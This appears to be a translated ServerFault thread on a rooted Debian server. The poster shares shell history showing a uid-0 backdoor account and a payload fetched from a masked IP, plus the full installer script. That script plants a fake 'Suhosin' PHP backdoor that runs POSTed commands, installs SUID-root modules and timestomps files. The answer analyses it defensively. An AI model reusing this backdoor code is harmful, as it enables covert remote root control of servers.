Linux

root 的 .bash_history 中奇怪的 shell 命令集

  • November 27, 2010

我可能剛剛檢測到我的伺服器上的使用者已經植根了我的伺服器,但這不是我要問的。

有沒有人見過這樣的命令:

echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export    PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;

在我看來,這是一些自動化腳本的作品,但我不確定是哪一個。

有人對此有所了解嗎?

作業系統是 Debian Lenny,核心 2.6.30-bpo.2-686-bigmem(如果這很重要的話)。

順便說一句,上面程式碼中的連結被屏蔽了,任何想要下載程式碼的人,我已經製作了一個副本,以供分析,所以我可以根據要求提供。

編輯:我附上 .sh 腳本的內容,作為參考,如果有人感興趣的話。

#!/bin/sh
PHP=`which php`
PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'`

if [ -z $PHP_INCLUDE_PATH ]
then
   PHP_INCLUDE_PATH="/usr/share/php"
   mkdir -p $PHP_INCLUDE_PATH
fi

GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so"
GETROOT_32_URL="http://178.xxx.xxx.181/32"

GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so"
GETROOT_64_URL="http://178.xxx.xxx.181/64"

PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php"
PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's/\//\\\\\//g'`;

for file in `find / -type f -name 'php.ini'`
do
   APPEND=`egrep -v '^;' $file | grep auto_prepend_file`
   OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir`

   echo "[*] opendir:$OPENBASEDIR"

   if [ ! -z "$APPEND" ]
   then
       APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'`
       APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'`

       echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
       echo "[~] need to replace auto append file"

       if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's/\//\\\\\//g'`;fi

       sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1
   else
       echo "[~] need to add auto_append_file"

       cp $file 1
       echo "auto_prepend_file = $PHP_FILE_PATH" >> 1
   fi

   touch -r $file 1
   mv 1 $file
done

echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi

cat >$PHP_FILE_PATH<<EOF
<?php
/**
* SUHOSIN, the PHP Extension and Application Repository
*
* SUHOSIN security patch
*
* PHP versions 4 and 5
*
* @category   pear
* @package    Suhosin patch
* @author     Sterling Hughes <sterling@php.net>
* @author     Stig Bakken <ssb@php.net>
* @author     Tomas V.V.Cox <cox@idecnet.com>
* @author     Greg Beaver <cellog@php.net>
* @copyright  1997-2010 The Authors
* @license    http://opensource.org/licenses/bsd-license.php New BSD License
* @version    CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$
* @link       http://pear.php.net/package/PEAR
* @since      File available since Release 0.1
*/

function suhosin_unxor(\$data,\$len,\$key)
{
   for(\$i=0;\$i<\$len;\$i++)
   {
       \$data[\$i]=chr((\$key+\$i)^ord(\$data[\$i]));
   }

   return \$data;
}

if(isset(\$_SERVER['REQUEST_URI']))
{
   if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction']))
   {
       if(\$_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd')
       {
       if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc'])
           && crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc'])
           {
               \$data=base64_decode(\$_POST['suhosindata']);
               \$data=suhosin_unxor(\$data,strlen(\$data),ord('W'));

               if(\$_POST['suhosinaction']=="update")
               {
                   print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data);
               }
               else if(\$_POST['suhosinaction']=="command")
               {
                   system(\$data);
                   print("SUHOSIN CMD\n");
               }
           }
       }
   }
}
?>
EOF

chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH

echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"

WGET=`which wget`
CHOWN=`which chown`

`$WGET $GETROOT_32_URL -O $GETROOT_32`
`$CHOWN root $GETROOT_32`
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32

`$WGET $GETROOT_64_URL -O $GETROOT_64`
`$CHOWN root $GETROOT_64`
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64

ls -la $GETROOT_32 $GETROOT_64

echo "[!] restarting ctls"
for ctl in ` ls  {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"`
do
   echo "[*] restarting $ctl"
   `\$ctl restart`
done
rm $0

有趣的。

確實很有趣。

我以前從未見過這種東西,但看suhosin14.sh劇本,它是邪惡的。它修改了php.ini它可以在系統上找到的所有文件,希望讓 PHP 在每個渲染的 PHP 網頁中預先添加一些程式碼(通過auto_prepend_file)。suhosin14.sh還下載並安裝了一對 SUID-root 模組,大概是為了讓其前置的 PHP 程式碼以 root 權限執行。

前置的 PHP 腳本 ( suhosin.php) 包含一個註釋標頭,使其聲稱是 PHP 的 Suhosin 安全更新檔的一部分,但它肯定不是。相反,該腳本監視包含 XOR 混淆命令的特定 HTTP POST 請求,然後對其進行去混淆並執行(可能具有root特權,這要歸功於 SUID-root 模組)。

如果這個東西是在你的系統上執行的,那麼它很可能是 root 的。撤消suhosin14.sh安裝程序所做的[特別是:刪除 PHP prepend-script suhosin.php,刪除 SUID-root 模組suhosin32.sosuhosin64.so,並恢復您的原始php.ini文件] 可能不足以確保安全,因為必須有人root成功訪問首先執行安裝程序。此外,通過 PHP prepend-script 遠端發送的後續命令很容易安裝任意數量的 rootkit 或其他後門。

除了可能檢查您的 Apache 日誌中對通常不應收到 POST 請求的頁面的 POST 請求之外,我沒有其他建議:這些可能是發送到您的系統的遠端命令的實例。不幸的是,日誌不會告訴您執行了哪些命令,但您可能會獲得一些其他有用的資訊,例如 IP 地址和時間戳。

引用自:https://serverfault.com/questions/204828